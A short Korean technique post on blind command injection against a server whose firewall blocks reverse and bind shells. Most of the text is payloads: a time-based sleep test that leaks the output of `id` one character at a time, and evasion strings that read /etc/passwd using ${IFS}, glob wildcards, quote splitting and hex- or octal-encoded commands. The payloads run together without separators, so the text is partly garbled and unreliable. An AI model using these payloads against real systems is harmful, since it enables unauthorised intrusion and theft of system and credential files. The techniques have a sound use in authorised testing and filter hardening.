이번 글은 네트워크의 인 / 아웃 바운드 제한이 있을때 공격하는 방법에 관한 글이다.
공격 대상 서버에 네트워크 방화벽을 설정한 경우 리버스 쉘 / 바인드 쉘을 이용한 공격은 어려울 수 있다. 이런 경우 참 / 거짓 비교문으로 데이터를 알아낼 수 있다.
시간 지연
id | base64 -w 0bash -c "a=\$(id | base64 -w 0); if [\${a:0:1} == 'd' ]; then sleep 2; fi;"에러
cat${IFS}/etc/passwdX=$'\x20';cat${X}/etc/passwdcat</etc/passwd/bin/c?tc''a""tc${invalid_variable}a${XX}t"\x69\x64"'\151\144''\x69\x64'